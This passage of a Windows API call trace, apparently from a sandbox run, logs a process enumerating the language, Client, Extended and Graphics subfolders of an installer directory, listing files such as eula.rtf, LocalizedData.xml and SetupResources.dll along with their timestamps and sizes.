ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.686] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.686] GetProcessHeap () returned 0xc00000 [0088.686] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.686] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0088.686] GetProcessHeap () returned 0xc00000 [0088.686] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.686] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.687] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.687] GetProcessHeap () returned 0xc00000 [0088.687] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0088.687] GetProcessHeap () returned 0xc00000 [0088.687] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.687] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.688] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.688] GetProcessHeap () returned 0xc00000 [0088.688] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0088.688] GetProcessHeap () returned 0xc00000 [0088.688] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.688] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.688] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.689] GetProcessHeap () returned 0xc00000 [0088.689] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.689] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0088.689] GetProcessHeap () returned 0xc00000 [0088.689] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.689] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.689] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.689] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x10b, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.689] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x10b, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0088.689] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.689] GetProcessHeap () returned 0xc00000 [0088.689] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.689] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0088.690] GetProcessHeap () returned 0xc00000 [0088.690] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.690] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x10b, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x10b, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0088.690] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.690] GetProcessHeap () returned 0xc00000 [0088.690] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.690] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0088.690] GetProcessHeap () returned 0xc00000 [0088.690] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0088.716] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, 